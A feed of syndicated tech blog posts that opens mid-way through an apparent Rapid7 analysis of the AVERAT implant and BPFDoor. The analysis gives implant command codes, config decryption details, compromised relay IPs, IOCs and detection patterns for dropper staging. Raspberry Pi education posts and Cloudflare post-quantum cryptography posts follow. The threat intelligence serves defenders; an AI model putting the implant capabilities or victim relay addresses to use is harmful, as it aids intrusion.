Check-ins occur every 600 to 699 seconds. Each reports hostname, current user, OS version, network interfaces, and logged-in users. The interval is stored in a hidden file at /var/lib/.db and can be changed by the operator, persisting across restarts.

AVERAT-beacon-configuration-details.png
Figure 7: AVERAT beacon configuration details and persistent state file path structure

⠀

AVERAT takes its name from its only disk artifact: var, which reads as AVE when XOR-encoded (Figure 7).

Configuration

All operational values are held in a 276-byte encrypted blob. The key is derived from the blob’s own first 16 bytes, folded with a further byte and a reverse XOR cascade; that key seeds RC4’s key-scheduling algorithm, and the resulting S-box is used directly as a keystream. Each field starts at its own keystream offset, and the parity of that offset selects whether bytes are bitwise-inverted or nibble-rotated before the XOR.

Decrypted, the blob yields three 16-byte keys (transport, authentication, and a secondary handshake secret), the host table, the port table, a three-byte build tag, the timing state, and the .db path.

Key-derivation-and-keystream-offset-mapping.png
Figure 8: Key derivation and keystream offset mapping

⠀

The schema provides three host and port pairs; this build populates one.

Decrypted-AVERAT-host.png
Figure 9: Decrypted AVERAT host and port table configuration slots

⠀

Rapid7 developed an extractor for the AVERAT family. Figure 10 shows the results for the samples identified at the time of writing.

AVERAT-extractor-results-sample-hashes.png
Figure 10: AVERAT extractor results and sample hashes identified at the time of writing

⠀

The MAC key and aux key are byte-identical in all six, while only one stream key is shared between a pair (Figure 10).

Command set

Command codes are uint16 values grouped into bands by subsystem. The most operationally significant are below.

Code

Capability

20

Enumerate directory contents

21

Download a file from the host, with resume support

22

Upload a file to the host in chunks, appending on resume

25

Recursively delete a file or directory tree

30

Recursively walk a directory tree, resolving file ownership

629

Enumerate running processes with command lines

632

Terminate a process (SIGTERM)

842

Overwrite the C2 host and port tables at runtime

912

Open an interactive shell session — up to ten concurrently

914

Write a command into an open shell session

916

Reboot the appliance, flushing buffers to disk beforehand

1010

Load or unload a shared-object module, extending the implant

1576

Set the callback interval and persist it to .db

1618

Open a proxy or port-forward channel through the appliance

unknown

Close the socket and terminate the process immediately

Table 4: AVERAT Command Codes and Capabilities

Infrastructure

The three IP addresses recovered from the configs represent compromised CPE belonging to third-party victims rather than intentional operator assets. Scan data shows all three sitting in Chunghwa Telecom’s HiNet address space (AS3462), in three separate Taiwanese cities — Tainan, Banqiao and Taoyuan — each representing a distinct class of neglected, internet-facing consumer or SMB appliance.

59.125.211.65 is a Synology NAS belonging to a Taiwanese fuel-retail business, still serving a Laravel-based “cloud management system” on 81/82 behind a Let’s Encrypt certificate that expired in October 2021, alongside an exposed MariaDB 5.5.62 instance that reached end of life in 2020. 122.116.138.33 is an embedded Taiwanese ADSL/FTTH SMB network appliance — gSOAP 2.8 on 8000 with a recording-management interface, HTTP Basic realms named SMB on 8081, 8082 and 10443, and a self-signed NetKlass Technology certificate valid from 2004 to 2014, MD5-signed with a 1024-bit key. 1.34.200.85 is a Dahua DH-XVR5116HS-I3 recorder. These are victim hosts repurposed as operational relays, selected on consistent criteria: reachable, unpatched, unmonitored, and unlikely to be audited.

The detail that binds them is PPTP on 1723, present on all three, returning a byte-identical banner (Firmware: 1, Hostname: local, Vendor: linux, fingerprint 261189147). A Dahua XVR ships no PPTP server. Synology’s DSM offers one only as an optional package, disabled by default and deprecated in current releases. We assess this as operator-installed, which makes each node dual-purpose: an outbound relay terminating SMTP-disguised implant traffic, and an inbound routed VPN foothold into the host’s own LAN. Combined with the RAT’s own proxy commands, the campaign has relay capability at both ends of the connection.

The campaign is running two distinct C2 addressing strategies:

Strategy

Samples

Trade-off

Attacker-registered domain

bf8135f4, 2fe2dd40, a65048eb

Survives IP churn, re-pointable via DNS — leaves a seizable, sinkholable, monitorable name

Hardcoded consumer-broadband IP

4925bcca, a4379e11, 925c0418

No DNS artifact at all, brittle against address rotation

Table 5: C2 Addressing Strategies Comparison

The relay layer is composed of consumer and small-business broadband CPE: a fuel retailer’s NAS, an obsolete NetKlass appliance, and a CCTV recorder, each sitting on a domestic-grade line.

AVERAT’s command-and-control infrastructure matches the device-class profile that CISA, NCSC-UK, and partner agencies described in their April 2026 joint advisory (AA26-113A) as the standard building blocks of China-nexus covert/ORB networks: end-of-life NAS, edge appliances, and DVRs chosen because their vulnerabilities will never be patched. We found no infrastructure or indicator overlap with any specific named ORB network (LapDogs/UAT-7810, SPACEHOP, or FLORAHOX), whose documented targeting instead centers on SOHO routers; AVERAT’s infrastructure is consistent with the broader ORB device-class pattern rather than confirmed membership in a known network.

Operator tradecraft

Three design decisions indicate operational maturity.

The dispatcher terminates the process on any unrecognized command code. This is inexpensive to implement and raises the cost of interactive probing or automated scanning against a live implant.

Support for ten concurrent shell sessions is consistent with provisioning for parallel operator access rather than a single interactive session..

The reboot handler calls sync() before forcing a restart through the kernel rather than through init. Flushing filesystem buffers before destroying volatile state is the behavior of an operator who knows precisely which artifacts persist across a restart and which do not — and in this chain everything happens in memory while the persistence needed to re-establish access is on disk.

Detection guidance

File-based detection on the appliance is unlikely to succeed, because no payload persists in /sbin. We recommend prioritizing the following.

On the host, hunt for processes whose executable has been unlinked, which on Linux presents as a (deleted) suffix on the /proc/<pid>/exe target. To catch fileless and unlinked process execution, monitor process descriptors for instances where /proc/<pid>/exe points to an unlinked path, and inspect memory maps for executable pages lacking backing file paths on disk. 

Additionally, alert on the presence of .db state files and dropper artifacts: the directory /HDD/ms6x2xTo64/, a shell script carrying a .php extension whose first bytes are #!/bin/sh, and a marker file execProcEnd containing the literal string end. A process-tree sequence of sh -c on a .php path, followed by cp and chmod into /sbin and an rm -rf of the same path within roughly ten seconds, provides high-fidelity detection of the staging sequence.

On the network, the fixed ClientHello template means the implant’s TLS fingerprint does not vary between infections. Fingerprinting it is more durable than watching the port, because the port is configurable at runtime through command 842 while the template is compiled in. Outbound SMTP from an appliance to mail-role hostnames that resolve to consumer-grade or embedded devices warrants investigation on its own.

Mitigation 

Investigate unexpected raw packet sockets and classic BPF filters on Linux systems that do not require packet capture. Review outbound TCP port-25 callbacks from processes that are not mail services, particularly when the process renames itself to a common daemon or creates hidden PID and socket markers. Preserve short-lived staged binaries and collect process arguments, open file descriptors, socket metadata, and historical DNS records. Restrict management access to routers, DVRs, and other edge appliances, and monitor NFS or SMB mounts that could let an adjacent host write executables onto an embedded device.

MITRE ATT&CK techniques

Technique

Evidence

T1584.008 Compromise Infrastructure: Network Devices

AVERAT C2 relays 

T1133 External Remote Services

PPTP on 1723 on all three AVERAT C2 relays

T1480 Execution Guardrails

Dropper, BPFDoor

T1059.004 Unix Shell

AVERAT 

T1129 Shared Modules

AVERAT 

T1037 Boot or Logon Initialization Scripts

Dropper 

T1205 Traffic Signaling

BPFDoor

T1205.002 Traffic Signaling: Socket Filters

BPFDoor

T1070.004 File Deletion

Dropper 

T1070.003 Clear Command History

AVERAT, BPFDoor

T1070.006 Timestomp

BPFDoor 

T1036.004 Masquerade Task or Service

BPFDoor 

T1036.005 Match Legitimate Name or Location

BPFDoor, Dropper

T1564.001 Hidden Files and Directories

AVERAT

T1027 Obfuscated Files or Information

BPFDoor, AVERAT 

T1027.013 Encrypted/Encoded File

Dropper, AVERAT 

T1140 Deobfuscate/Decode Files or Information

AVERAT 

T1562.004 Disable or Modify System Firewall

BPFDoor 

T1083 File and Directory Discovery

AVERAT

T1057 Process Discovery

AVERAT 

T1082 System Information Discovery

AVERAT 

T1033 System Owner/User Discovery

AVERAT 

T1016 System Network Configuration Discovery

AVERAT

T1005 Data from Local System

Dropper

T1041 Exfiltration Over C2 Channel

AVERAT 

T1030 Data Transfer Size Limits

AVERAT

T1105 Ingress Tool Transfer

AVERAT 

T1071.003 Application Layer Protocol: Mail Protocols

AVERAT 

T1573.001 Encrypted Channel: Symmetric Cryptography

AVERAT, Rekoobe

T1090 Proxy

AVERAT 

T1008 Fallback Channels

AVERAT

T1529 System Shutdown/Reboot

AVERAT 

T1489 Service Stop

AVERAT

Table 6: MITRE ATT&CK Techniques and Evidence

Indicators of compromise

Type

Value

Role

SHA-256

2bedc26d4b29b435c21962beed7db21188a0219a0d28334bba8b4fb1656d7b15

Dropper  /addpkg/sbin/update

SHA-256

bf8135f46ecedfe5bd06fcecbb2e721c2367ff765b18f4aa3f868e6597f49e47

AVERAT

SHA-256

4925bcca085ec504f51191645da278d8e96698d91f3c6df44146336c697b4de8

AVERAT

SHA-256

a4379e115d3c4420f5d4b92561022d6e0897990e7297be65c033d47de68e6a6a

AVERAT

SHA-256

925c041807d4fb9dfe2ad84f963c2a4c60ea1289f6a0bdccbfb944478ffc2cf2

AVERAT

SHA-256

2fe2dd402ee6f9c578fce6dd4b36daaa407e99133e5dd502f2afca80feb60150

AVERAT

SHA-256

a65048eb30661e27f8edc2dd8d8c77ec87faec1f1750f6e04e7ecaf069a32858

AVERAT

Table 7: File Indicators — TW cluster

SHA-256

Family

a37ea9897221d4495b538de72b74f2aa1d2ff09b7b6dcedd395aee58931adbf3

SpamSniper BPFDoor sniffer

7e667ba5f9df912e02275d3cfe3809d16f822fe776f4035c84b118ebd925b1b5

SpamSniper BPFDoor sniffer

652508a9cf40bee883dc0e5e219dfeba71fe7dac591d01c89f74c21f73b4963f

Rekoobe, dual port-25 BPF filter

4435fcd6862921092614dbeaa880e4192352984686ebcd98f0ba13ee8e226ef9

Data plane BPFDoor

a6f3b7f932761fb1fd5e74123f2482e36c65dd13e769af2ce08c65da195bfa7a

Data plane BPFDoor

Table 8: File Indicators — SK Cluster

Type

Value

Notes

Domain

mx.zxopfds.com

AVERAT C2

Domain

spam.suwaccqi.com

AVERAT C2

Domain

mx1.wwstifsteel.com

AVERAT C2 

IPv4

59.125.211.65

AVERAT C2 

IPv4

122.116.138.33

AVERAT C2

IPv4

1.34.200.85

AVERAT C2

Port

TCP/25

default AVERAT C2 port

Table 9: Network Indicators of Compromise

Path

Notes

updIptable.php

Shell script under a .php extension

/HDD/ms6x2xTo64/execProcEnd

Watchdog marker

/tmp/flag

Dropper precondition 

/var/lib/.db

AVERAT state file (bf8135f4, 925c0418, 2fe2dd40)

/var/lib/.sencha

AVERAT state file (4925bcca)

/var/lib/.us

AVERAT state file (a4379e11)

/var/lib/.a

AVERAT state file (a65048eb)

/var/run/spamsniper.pid

BPFDoor mutex

/sbin/ntpdate, /sbin/udevds

Staging names

/addpkg/sbin/update, /addpkg/sbin/agetty

Dropper and AVERAT payload locations 

Table 10: Host Artifacts

Value

Meaning

5d 0c f9 47 e4 ea 7b 18 1b ed 5e b1 fb 5c 56 3f

AVERAT MAC key 

6b 6a 48 0e f8 ae 5f 1b 38 e6 c0 94 86 df e3 45

AVERAT aux key 

00 80 04 00

AVERAT beacon tag

1571 / 0x0623

AVERAT protocol magic

Table 11: Cryptographic and Protocol Constants

Rapid7 customers

YARA rules and more IoCs are available in Rapid7’s Intelligence Hub along with ongoing intelligence on the latest campaigns.

What defenders should take away from these campaigns

The components form a modular access ecosystem. The dropper executes AVERAT, which beacons to changeable infrastructure, while BPFDoor and Rekoobe samples wait for a magic packet before opening interactive access.

Across both campaigns, the network edge is a consistent focus. Each targets mail-security appliances that sit inline in front of the mail server, giving an implant positioned there visibility into an organization’s inbound and outbound traffic. Both also use port 25 to blend into expected SMTP activity, although the mechanism differs between the campaigns. In either case, command-and-control traffic can hide within a protocol that is normal for the device and may therefore attract less scrutiny.

This fits the broader BPFDoor pattern, where compromised IoT and SMB devices, including NAS units and DVRs, can act as operational relays that obscure the true source of magic-packet traffic before it reaches the passive backdoor. Newer samples also show how the malware continues to adapt to the environments it targets, including a second userland-level magic-packet check layered on top of the kernel BPF gate.

Rapid7 Variant G provides another example of that adaptation. It uses three BPF filters to preserve operational resilience on high-traffic edge nodes, with the filters left unoptimized because the libpcap version running on its end-of-life targets does not support filter optimization.

For defenders, the most useful detection opportunities remain raw packet sockets, BPF filters, port-25 callbacks from unexpected processes, process masquerading, and appliance-specific staging paths. Specific attribution should remain an ongoing assessment as new samples and infrastructure emerge.

Not all explanations are equal: Social Explainable AI and Critical Computational Literacy

Post Syndicated from Katharine Childs original https://www.raspberrypi.org/blog/not-all-explanations-are-equal-social-explainable-ai-and-critical-computational-literacy/

AI technologies, such as smart speakers or streaming recommendations, are becoming part of everyday life for children and teenagers. It’s therefore increasingly important to help young people understand not just how these systems work, but how to question them.

When AI systems generate outputs such as a recommendation, these outputs are often accompanied by an explanation. In our latest research seminar, Professor Dr. Dan Verständig (Goethe University Frankfurt, Center for Critical Computational Studies) spoke about how explanations are shaped by the people who write them, and only become meaningful when someone else makes sense of them. Dan introduced us to Social Explainable AI (Social XAI) and Critical Computational Literacy (CCL), and asked us to consider not just what an AI system explains, but for whom, why, and who benefits.

Why do we need explanations?

Dan opened with a deceptively simple question: why do we need explanations in the first place? His answer was that explanations provide orientation. They reduce uncertainty, and in doing so, they make our shared social world liveable. Explanations have evolved from Socratic dialogue, to the printed book, to the classroom, to today’s digital interfaces, and now to AI-generated explanations. But explanations have never been neutral conveyors of information. Dan illustrated this with a simple demonstration: he showed the seminar participants an aerial photo of a beach and asked what they noticed.

The aerial photo Dan shared during his seminar. What do you notice about this picture?

The aerial photo Dan shared during his seminar. What do you notice about this picture?

Seminar participants pointed to the coastline, the sandy beach, and a tiny figure in the frame. Dan then revealed that the photo was taken by him, using a drone at Montara State Beach in California on a specific afternoon in April 2024. He asked how a climate researcher, a surfer, or an artist might each describe the very same image differently.

This demonstration highlighted that an explanation is always for someone, for some purpose, in some context. That framing carries straight through into how we should think about AI explanations too. An explanation that satisfies a data scientist debugging a model is not the same as one that satisfies a patient asking why an algorithm flagged their scan, or a citizen asking why they were denied a loan. In other words, explanations are never technical.

From delivering explanations to co-constructing them

Drawing on Rohlfing and Lim’s 2026 work, Dan described Social XAI as an approach that puts interaction, rather than output, at the centre of explainability. Dan illustrated this with a simple but effective diagram: an AI explanation starts as a system output, is filtered through a person’s interpretation, and only then becomes meaning through construction. A one-size-fits-all output, however technically accurate, isn’t yet an explanation until someone has made sense of it in their own terms.

AI explanations are never just delivered as outputs; meaning is constructed by an individual’s interpretation. 

To explore this further, Dan’s research group has developed co-construction workshops, bringing people together to interrogate AI explanations collaboratively rather than receive them passively. In these workshops, participants are asked questions such as: “What counts as evidence? What is missing? What are the alternatives? Who benefits from this? Do we agree?”

To answer these questions, participants do not examine an AI model to find out how it generates a decision. Instead, participants scrutinise its outputs in the same way that they would critically evaluate a politician’s promise or a newspaper’s headline. 

Dimensions for engaging critically with explanations

Critical Computational Literacy (CCL) is a framework that describes what people need to engage with AI explanations critically. Dan presented CCL as consisting of four interlocking dimensions:

  • Attitude — a critical stance and value awareness: approaching computational systems not as neutral tools but as artefacts that embed particular values and assumptions
  • Biography — recognising that people’s relationships with technology are shaped by subjectivity, by the varied encounters they’ve had with computational systems, and by the diverse pathways that brought them to this point
  • Capacity — the analytical, creative, and ethical skills needed to actually work with and through computational systems, not just talk about them
  • Critique — the capacity that ties the other three dimensions together: asking what matters, and why
Critical Computational Literacy consists of four dimensions

Taken together, these dimensions push back against a narrow, purely technical notion of ‘AI literacy’ as knowing how a model works. Instead, CCL treats literacy as something biographical and value-laden. Dan explained that individuals bring their own history and stance to any encounter with computational systems, and genuine literacy means being able to interrogate these systems’ explanations rather than simply accept or operate them.

Using these ideas in your classroom

Although Dan’s research took place with adult participants, Social XAI and Critical Computational Literacy are ideas that could also be used in the K-12 classroom. For example, if students interact with AI explanations through smart speakers or streaming recommendations in their everyday lives, this presents an opportunity to teach them how to engage critically with AI outputs. Students might explore why a smart speaker suggested a particular recipe, or investigate the explanation for why a streaming service recommended a particular show. 

Explainability is also a key part of our own Experience AI resources. When training a model, students write their own model cards to document who built a model, what training data was used, how accurate the model’s predictions were, and any known limitations. In this activity, explainability is traceable, and students use their analytical skills to create transparent, fair, and accountable model cards.

Social XAI suggests an extension to this activity. Students could ask what matters about the explanation they have written and why this is important. Through this critique, students can consider who will read these model cards and how the cards might be interpreted. In this way, AI explanations become more than a technical output, and become artefacts whose meaning is co-constructed by the author and the reader. 

This seminar was part of our ongoing series on teaching about AI in the arts, humanities, and sciences. You can watch the full recording of Dan’s talk, including the Q&A discussion, here:

Join our next seminar

Our research seminar series continues to explore how AI is taught across the curriculum. In our next seminar on Tuesday, 6 October at 19:00–20:30 BST, we welcome Eleni Petraki and Damith Herath (University of Canberra) who will present an engineering and robotics curriculum aimed at equipping future engineers with the diverse skills demanded by a growing workforce. To take part in the seminar, click the button below to register. We hope to see you there.

The schedule of our upcoming seminars is available online. You can catch up on past seminars on the blog and on the previous seminars and recordings page.

The post Not all explanations are equal: Social Explainable AI and Critical Computational Literacy appeared first on Raspberry Pi Foundation.

Support for modern cryptographic algorithms in Workers

Post Syndicated from Thibault Meunier original https://blog.cloudflare.com/workers-ml-kem-ml-dsa-support/

Today, Cloudflare Workers is adding support for post-quantum-resistant algorithms within Web Crypto. These are defined in Modern Algorithms in the Web Cryptography API draft community group report, and include:

  • ML-KEM-768 and ML-KEM-1024 for key encapsulation
  • ML-DSA-44, ML-DSA-65, and ML-DSA-87 for signatures
  • encapsulateBits(), decapsulateBits(), encapsulateKey(), and decapsulateKey()
  • getPublicKey()
  • SubtleCrypto.supports()
  • JWK import and export for these algorithms

For developers preparing for the post-quantum transition, these opt-in Web Crypto APIs make it easier to experiment with ML-KEM and ML-DSA without bundling a separate cryptographic implementation. They do not provide a full migration path, but rather building blocks that can be used to validate your integration.

This support is available behind the webcrypto_modern_algorithms compatibility flag while the specification is still moving.

Background

Web Crypto is one of those APIs you only notice when it lacks the primitive you need. If you want to experiment with newer post-quantum algorithms in a JavaScript environment, it’s hard. You either cannot build the protocol directly on top of Web Crypto, or you bring your own cryptography implementation in JavaScript or WebAssembly.

Neither option is ideal. They put the burden of selecting and maintaining cryptographic implementations on implementers, who see their applications get larger as they bundle cryptographic code. And this is work that needs to be reproduced for all downstream libraries. As the ecosystem needs to transition to post-quantum-resistant algorithms sooner than expected, we cannot wait for better post-quantum algorithms. Developers need access to these primitives now so they can test, evaluate, and improve post-quantum integrations.

In this post, we’ll explain how you can implement these primitives today, and start to prepare your applications for the post-quantum era.

The short version

Here is what ML-KEM looks like in Workers. One side has a public key. The other side encapsulates a shared secret to that public key. The holder of the private key decapsulates it and gets the same secret.

There is no encryption in that snippet yet. ML-KEM gives both sides shared key material. Protocols such as Hybrid Public Key Encryption (HPKE) then feed that material into a key schedule and an AEAD such as the AES-GCM algorithm.

ML-DSA is closer to what most developers have already seen with Ed25519 or ECDSA: generate a key pair, sign bytes, verify bytes.

These examples are deliberately small. They are not protocols. They are the JavaScript hooks for cryptographic primitives that protocols need.

Why this matters

Post-quantum migration is not one switch. It is a lot of protocols, libraries, services, and deployment environments learning how to use different primitives.

Some of that work is already visible in TLS and SSH. OpenSSH added support for mlkem768x25519 in 2024. HPKE has a draft for post-quantum and hybrid KEMs ongoing at the IETF. The IETF published RFC 9964 for ML-DSA in JOSE, as well as an adopted draft for JWE using PQ & PQ/T HPKE. HTTP Message Signatures can use different signature algorithms, as long as the signer and verifier agree on how to produce and verify the signature.

To support all these on Cloudflare Workers, developers needed support for the underlying cryptographic primitives within Web Crypto.

Without it, a Workers developer could still experiment with post-quantum code, but they had to bundle a separate implementation. That is useful for portability and for early experiments, but it is not where we want every production application to end up.

Signing JWTs with ML-DSA

Signed JSON Web Tokens (JWTs) are a familiar example that protect using JSON Web Signatures (JWS). With a panva/jose library that maps ML-DSA-* algorithms to Web Crypto, the application code is as follows:

JWTs are only one example. The larger point is that libraries can delegate ML-DSA operations to the runtime instead of carrying their own implementation for every environment. With Workers supporting ML-DSA natively, libraries can delegate signing to the runtime rather than shipping their own implementation.

HPKE and OHTTP

ML-KEM is a key encapsulation mechanism. On its own, it gives two parties shared key material. HPKE turns that into a complete encryption construction by adding a key schedule and an AEAD.

Libraries such as panva/hpke are already structured around Web Crypto and runtime support. With the Workers runtime exposing ML-KEM, HPKE implementations can use the native primitive where available.

This is the shape we want for protocols such as OHTTP as well (which we’ve discussed before). OHTTP uses HPKE. If HPKE can use a post-quantum KEM through Web Crypto, then that peer can start discussing migrating to a ciphersuite that supports these primitives.

Libraries may require runtime-specific integration changes. Here, HPKE.CipherSuite selects implementations according to the algorithms available in the runtime.

Getting a public key from a private key

Several protocols need to publish or derive a public key after loading a private key. Previously, this often meant keeping both around or doing format-specific work.

The new getPublicKey() helper does the direct thing:

For ML-KEM, the usage is different because public keys encapsulate and private keys decapsulate:

This is a small API that aims to remove code used a lot across libraries that deal with public key cryptography.

Checking support

Because the API is not yet supported across runtimes, libraries should check for it instead of assuming it exists everywhere.

Libraries that run across Workers, Node.js, Deno, browsers, and other Web-interoperable runtimes need this kind of check. It also helps when only part of the modern algorithms proposal is implemented.

What is supported today

The initial Workers implementation supports ML-KEM-768 as a KEM and ML-DSA-44 as a signature algorithm. All require the webcrypto_modern_algorithms flag to be set.

For completeness, we also support ML-KEM-1024, ML-DSA-65, and ML-DSA-87. ML-KEM-512 is not supported because the BoringSSL version used by Workers does not expose it. Rather than add a separate implementation just for that variant, we are starting with the algorithms available through the native crypto library.

The most recent list of supported algorithms can always be found on our developer documentation.

How it’s been implemented

Workers run on workerd. It’s an open-source runtime built on V8. The implementation adds ML-KEM and ML-DSA support to workerd's Web Crypto layer, backed by BoringSSL primitives.

This change also adds Web Platform Tests for the modern algorithms API surface, Workers-specific tests for compatibility flag behavior, and TypeScript definitions under the new Workers types.

We split this out from a larger proposal from panva. The change discussed in this blog, which is the first part of the modern Web Crypto algorithm specification, focuses on ML-KEM, ML-DSA, helper APIs, and JWK support. Other algorithms from the W3C Web Incubator Community Group (WICG) proposal, such as SHA-3, cSHAKE, TurboSHAKE, and ChaCha20-Poly1305, are not part of this initial change.

That smaller scope makes review easier. It also gives library authors something concrete to test before the whole modern algorithms proposal is implemented.

Note that ML-DSA public keys and signatures are substantially larger than RSA or Ed25519. The integration of these algorithms in the runtime improves performance and reduces the need for bundling. However, it does not change the reality that the size of keys, signatures, or ciphertext is increasing, on the wire or when stored.

What may come next

The WICG proposal covers more than ML-KEM and ML-DSA. We have not implemented the following from the original contribution by Filip Skokan in cloudflare/workerd#6403, which will need further review. This includes the SHA-3 hash function, ChaCha20-Poly1305 AEAD (discussion about XChaCha20-Poly1305 in wicg/webcrypto-modern-algos#1), cSHAKE, TurboSHAKE, and HPKE (discussed in wicg/webcrypto-modern-algos#2). An implementation has already been tested against panva/hpke and panva/jose test suites to verify the implementation.

There is also a practical question about when this should become default, rather than opt-in. For now, all these algorithms are gated behind a compatibility flag. The API is based on a draft, and we want feedback from library authors before treating it as stable.

Start experimenting today

This change does not make every protocol post-quantum by itself. It gives Workers developers and library authors the primitives they were missing: ML-KEM for key encapsulation, ML-DSA for signatures, and helper APIs that make those primitives usable through Web Crypto.

If you maintain a library that currently bundles its own post-quantum implementation, this is a good time to try the native API and tell us what does not fit. The fastest way to find the rough edges is to put real protocol code on top of it. All the details are in our changelog.

We would like to thank Filip Skokan for the original contribution and iterations, Felix Hanau, James Snell, Bas Westerbaan, and Peter Wu for reviewing the code, and Daniel Huigens for co-authoring the specification work this implementation follows.

Join our new UK study on teaching AI ethics and sustainability in lower secondary school

Post Syndicated from Diana Kirby original https://www.raspberrypi.org/blog/join-our-new-uk-study-on-teaching-ai-ethics-and-sustainability-in-lower-secondary-school/

Are you a computing teacher in England, Scotland, or Wales who works with 11- to 14-year-olds and is interested in how young people learn about AI ethics and sustainability? 

The Raspberry Pi Computing Education Research Centre is launching an exciting new research study, and we would love you to get involved.

Two learners in a computing classroom.

In this study, we will explore teaching about the impacts of AI on people, the environment, and society. Our aims for the study are to:

  • Investigate the opportunities and challenges of teaching about AI ethics and sustainability in secondary computing lessons
  • Identify pedagogical approaches for developing students’ ethical reasoning, critical thinking, and agency in relation to AI tools

The study involves attending two in-person workshops in Cambridge, co-designing and teaching a unit of work, and taking part in evaluation activities such as surveys and interviews. Where necessary, we can offer support with the costs of attending the workshops, such as travel, accommodation, and supply cover.

Why focus on AI ethics and sustainability?

According to a recent report, in the UK more than half of 8- to 17-year-olds use AI tools, and as these systems become an increasingly significant part of everyday life, helping young people to critically evaluate their impact is vital.

We recently conducted a scoping literature review to explore what ethical concepts are covered by AI literacy interventions for lower secondary students (11- to 14-year-olds). This work has been accepted for publication at the Frontiers in Education conference, which is taking place in October.

In this work, we used the 10 principles set out in UNESCO’s Recommendation on the Ethics of Artificial Intelligence as a framework for analysis of the ethical concepts covered by the interventions.

UNESCO’s AI ethics principles
UNESCO’s AI ethics principles

Our research showed that when AI ethics is taught to lower secondary students, interventions tend to focus most on concepts such as fairness and privacy. For example, multiple activities explored the important issue of algorithmic bias, teaching students about the causes of bias (such as training AI systems with small or unrepresentative datasets) and discussing real-world examples of bias in AI. 

However, we found that other ethical concepts, such as proportionality and governance, are not often taught. And while a few interventions featured the theme of sustainability, we found that only one directly taught students about the environmental impact of AI itself.

Our new study aims to help address this gap by supporting young people to explore the social and ethical impact of AI tools from a sustainability perspective. Teachers will use real-world examples to engage their students in discussion and ethical reasoning. We hope the findings will support more computing teachers to teach about AI ethics in their lessons, and help students to think critically about the use of AI tools.

What does the study involve?

We are using a design-based research approach to work collaboratively with teachers to co-design a unit of lessons focused on AI ethics and sustainability. 

In a computing classroom, two young children look at a computer screen.

Participating in the study will involve:

  1. Attending two in-person professional development and design workshops in Cambridge (one in early December 2026 and one during the 2027–28 school year)
  2. Delivering the co-designed lessons in your classroom (in early 2027 and the spring of  2028)
  3. Taking part in evaluation activities such as surveys, classroom observations, and interviews

How can I join the study?

If you teach computing at lower secondary level (Years 7–9 or S1–S3) in England, Scotland, or Wales and would like to help shape the way we teach young people about ethical issues around AI, we would love to hear from you. Please register your interest via the form below.

http://rpf.io/sage-application

If you have any questions about the project, please email [email protected].

The post Join our new UK study on teaching AI ethics and sustainability in lower secondary school appeared first on Raspberry Pi Foundation.

1.1.1.1 now supports post-quantum DNSSEC, all 2,420 bytes of it

Post Syndicated from Sebastiaan Neuteboom original https://blog.cloudflare.com/post-quantum-dnssec-1111/

1.1.1.1 now validates DNSSEC signatures made with ML-DSA-44, a post-quantum signature algorithm standardized by the National Institute of Standards and Technology (NIST). This is a first step toward preparing DNSSEC for a future in which today’s signature algorithms are no longer secure.

Cloudflare plans to achieve full post-quantum security by 2029. Much of the work so far has focused on TLS, but public-key cryptography is used in many other systems, including DNSSEC.

While we began experimenting with post-quantum key agreement in TLS in 2019 and enabled support for all customers in 2022, post-quantum signatures have not yet received comparable testing in DNSSEC. There is also some urgency. Widespread client adoption of post-quantum TLS took years, partly because larger messages exposed assumptions and bugs in existing network software. That experience showed why early large-scale testing matters. We cannot wait until quantum computers become an immediate threat.

The problem is that post-quantum signatures are large. Each ML-DSA-44 signature is 2,420 bytes, exceeding common DNS-over-UDP limits before the response includes anything else. At the same time, zones will need to publish conventional signatures for older resolvers for years, creating a potential downgrade path if not validated correctly. The challenge is carrying these much larger responses reliably, without allowing compatibility with older resolvers to weaken protection for newer ones.

With ML-DSA-44 validation enabled, 1.1.1.1 lets us test both challenges at Internet scale: carrying larger DNS responses and preventing fallback to conventional signatures.

Why post-quantum DNSSEC matters

DNS responses are not authenticated by default. An attacker who can forge a response may be able to redirect users to an address of their choosing. DNSSEC prevents this by signing DNS records. A validating resolver such as 1.1.1.1 follows a chain of signed records from the DNS root to the requested domain, checking that the answer is authentic and has not been modified.

DNSSEC supports multiple signature algorithms, but nearly all of those used today are vulnerable to future quantum computers. RSA and ECDSA rely on mathematical problems that are believed to be infeasible for conventional computers to solve at deployed key sizes. We are preparing for the possibility that in 2030 a sufficiently powerful quantum computer could be built that breaks these keys. An attacker could then recover the corresponding private key and create forged signatures that validators would accept. The attack path is shown below.

Quantum computers capable of carrying out these attacks do not exist today. DNSSEC provides authenticity rather than confidentiality, so it is not subject to “harvest now, decrypt later” attacks. The reason to begin now is that changing DNSSEC requires coordination across authoritative servers, registries, registrars, and validating resolvers. The migration must eventually reach the top of the DNS hierarchy, where a compromised key has the greatest impact. An attacker who recovers a root zone signing key using a quantum computer could forge a validation path to any zone below it: “break once, forge everywhere”. ML-DSA-44 gives that migration a standardized starting point, and supporting it in 1.1.1.1 lets us, and the DNS ecosystem at large, gain operational experience.

Why replacing the algorithm is difficult

DNSSEC was designed to support new algorithms. In principle, supporting ML-DSA-44 means publishing its public key and teaching validators to verify its signatures. In practice, two properties make the transition difficult: the signatures are large, and the old algorithm cannot always be removed safely.

A 2,420-byte signature changes the packet

DNSSEC algorithms commonly used today produce relatively small signatures. ECDSA P-256, for example, produces a 64-byte signature. An ML-DSA-44 signature is 2,420 bytes, almost 38 times larger.

That difference matters because many of the systems that send, carry, and receive DNS messages are sensitive to message size. DNS originally restricted messages sent over UDP to 512 bytes. EDNS(0) later allowed a resolver to advertise the largest UDP response it is willing to accept from a nameserver. Many DNS implementations use a conservative UDP payload limit of 1,232 bytes, chosen to fit within IPv6’s minimum MTU (maximum transmission unit) of 1,280 bytes. More recently, RFC 9715 recommended a maximum of 1,400 bytes for DNS over UDP. An ML-DSA-44 signature exceeds that budget on its own, before accounting for the signed RRset, domain names, DNS headers, and other DNSSEC records. Sending such a response as fragmented UDP is unreliable and should be avoided. Instead, the authoritative server should return a truncated response, prompting the resolver to retry using another transport protocol, usually TCP.

The effect is most visible in DNSKEY responses, which contain the keys a resolver needs to validate the zone. An ML-DSA-44 public key is 1,312 bytes, and the DNSKEY RRset also carries a 2,420-byte signature. ML-DSA-44 cannot fully replace conventional signing algorithms until it is widely supported across the DNS ecosystem, a process likely to take years. Until then, DNSKEY responses may contain both conventional and post-quantum keys and signatures to remain compatible with older validators. Key rollovers can add still more keys, making these responses larger again.

